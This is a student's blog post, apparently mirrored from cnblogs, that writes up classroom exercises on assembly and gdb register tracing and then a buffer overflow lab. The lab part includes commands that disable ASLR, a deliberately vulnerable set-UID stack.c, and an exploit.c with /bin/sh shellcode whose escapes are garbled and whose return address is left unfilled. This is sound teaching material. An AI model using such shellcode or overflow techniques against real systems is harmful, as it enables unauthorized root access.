zoukankan      html  css  js  c++  java
  • 20155302 课堂实践二

    20155302 课堂实践二

    第四题

    1 通过输入gcc -S -o main.s main.c 将下面c程序”week0603学号.c“编译成汇编代码

    int g(int x){
       return x+3;
    }
    int f(int x){
        int i = 学号后两位;
       return g(x)+i;
    }
    int main(void){
       return f(8)+1;
    }
    
    1. 删除汇编代码中 . 开关的代码,提交f 函数的汇编代码截图,图中用矩形标出函数栈帧的形成和销毁的代码

    解答:一开始课上很不理解什么是.开关,什么是函数栈帧的形成和销毁。
    通过网络查找资料,了解了栈帧内容(此博客写的十分详细):http://blog.csdn.net/jjiss318/article/details/7185802

    第五题

    1 通过输入gcc -S -o main.s main.c 将下面c程序”week0603学号.c“编译成汇编代码

    int g(int x){
       return x+3;
    }
    int f(int x){
        int i = 学号后两位;
       return g(x)+i;
    }
    int main(void){
       return f(8)+1;
    }
    
    1. 参考http://www.cnblogs.com/lxm20145215----/p/5982554.html,使用gdb跟踪汇编代码,在纸上画出f中每一条语句引起的eip(rip),ebp(rbp),esp(rsb),eax(rax)的值和栈的变化情况。提交照片,要有学号信息。

    解答:在PC用的16位CPU 8086、8088中,寄存器的名字分别是AX(累加器),BX(基址寄存器),CX(计数寄存器),DX(数据寄存器),SP(堆栈指针),BP(基址指针),SI(源变址寄存器),DI(目的变址寄存器),IP(指令指针),等等…… 这些寄存器除了从名字可以看得出来的用途以外,一部分寄存器也可以作为通用的一般数据寄存使用。具体每个寄存器的功能要与各种具体的指令关联起来才能理解清楚。 在386以上的32位CPU中,这些寄存器扩展成了32位的,名字就是在原来16位的名字前面加一个字母E,变成了EAX,EBX,…………等等。

    课下测试二

    在自己的电脑中完成https://www.shiyanlou.com/courses/231缓冲区溢出漏洞实验

    缓冲区溢出漏洞实验

    初始设置

    • 在安装好32位的C语言环境后进行初始设置
    1. 关闭地址空间随机化sudo sysctl -w kernel.randomize_va_space=0
    2. 因为Ubuntu和其他一些Linux系统中,使用地址空间随机化来随机堆(heap)和栈(stack)的初始地址,这使得猜测准确的内存地址变得十分困难,而猜测内存地址是缓冲区溢出攻击的关键

    设置zsh程序

    为了进一步防范缓冲区溢出攻击及其它利用shell程序的攻击,许多shell程序在被调用时自动放弃它们的特权。因此,即使你能欺骗一个Set-UID程序调用一个shell,也不能在这个shell中保持root权限,这个防护措施在/bin/bash中实现。

    linux系统中,/bin/sh实际是指向/bin/bash或/bin/dash的一个符号链接。为了重现这一防护措施被实现之前的情形,我们使用另一个shell程序(zsh)代替/bin/bash。下面的指令描述了如何设置zsh程序:

    • 一般情况下,缓冲区溢出会造成程序崩溃,在程序中,溢出的数据覆盖了返回地址。而如果覆盖返回地址的数据是另一个地址,那么程序就会跳转到该地址,如果该地址存放的是一段精心设计的代码用于实现其他功能,这段代码就是shellcode。

      include <stdio.h>

      int main( ) {
      char *name[2];
      name[0] = ‘‘/bin/sh’’;
      name[1] = NULL;
      execve(name[0], name, NULL);
      }

    • shellcode代码的汇编版本:

    漏洞程序

    • 把以下代码保存为“stack.c”文件,保存到 /tmp 目录下。代码如下:

        /* stack.c */
        /* This program has a buffer overflow vulnerability. */
        /* Our task is to exploit this vulnerability */
        #include <stdlib.h>
        #include <stdio.h>
        #include <string.h>
        
        int bof(char *str)
        {
        char buffer[12];
        
        /* The following statement has a buffer overflow problem */
        strcpy(buffer, str);
        
        return 1;
        }
        
        int main(int argc, char **argv)
        {
        char str[517];
        FILE *badfile;
        badfile = fopen("badfile", "r");
        fread(str, sizeof(char), 517, badfile);
        bof(str);
        printf("Returned Properly
      ");
        return 1;
        }
      
    • 通过代码可以知道,程序会读取一个名为“badfile”的文件,并将文件内容装入“buffer”。

    • 编译该程序,并设置SET-UID。GCC编译器有一种栈保护机制来阻止缓冲区溢出,所以我们在编译代码时需要用 –fno-stack-protector 关闭这种机制。

    而 -z execstack 用于允许执行栈。

    • 命令如下:

      sudo su

      gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c

      chmod u+s stack

      exit

    攻击程序

    • 我们的目的是攻击刚才的漏洞程序,并通过攻击获得root权限。

    把以下代码保存为“exploit.c”文件,保存到 /tmp 目录下。代码如下:

    /* exploit.c */
    /* A program that creates a file containing code for launching shell*/
    #include <stdlib.h>
    #include <stdio.h>
    #include <string.h>
    
    char shellcode[]=
    
    "x31xc0"    //xorl %eax,%eax
    "x50"        //pushl %eax
    "x68""//sh"  //pushl $0x68732f2f
    "x68""/bin"  //pushl $0x6e69622f
    "x89xe3"    //movl %esp,%ebx
    "x50"        //pushl %eax
    "x53"        //pushl %ebx
    "x89xe1"    //movl %e
    "x99"        //cdq
    "xb0x0b"    //movb $0x0b,%al
    "xcdx80"    //int $0x80
    ;
    
    void main(int argc, char **argv)
    {
    char buffer[517];
    FILE *badfile;
    
    /* Initialize buffer with 0x90 (NOP instruction) */
    memset(&buffer, 0x90, 517);
    
    /* You need to fill the buffer with appropriate contents here */
    strcpy(buffer,"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x??x??x??x??");
    strcpy(buffer+100,shellcode);
    
    /* Save the contents to the file "badfile" */
    badfile = fopen("./badfile", "w");
    fwrite(buffer, 517, 1, badfile);
    fclose(badfile);
    }
    
    • 注意上面的代码,“x??x??x??x??”处需要添上shellcode保存在内存中的地址,因为发生溢出后这个位置刚好可以覆盖返回地址。

    而 strcpy(buffer+100,shellcode); 这一句又告诉我们,shellcode保存在 buffer+100 的位置。

    现在我们要得到shellcode在内存中的地址,输入命令:

    gdb stack
    
    disass main
    
    攻击结果

  • 相关阅读:
    NAT和PAT
    谷歌浏览器如何正确离线网页
    安全
    VLAN
    交换
    动态路由
    静态路由
    配置Cisco网络设备
    导数表和基本积分表
    HNOI/AHOI2018题解
  • 原文地址:https://www.cnblogs.com/STILLlover521/p/7751866.html
Copyright © 2011-2022 走看看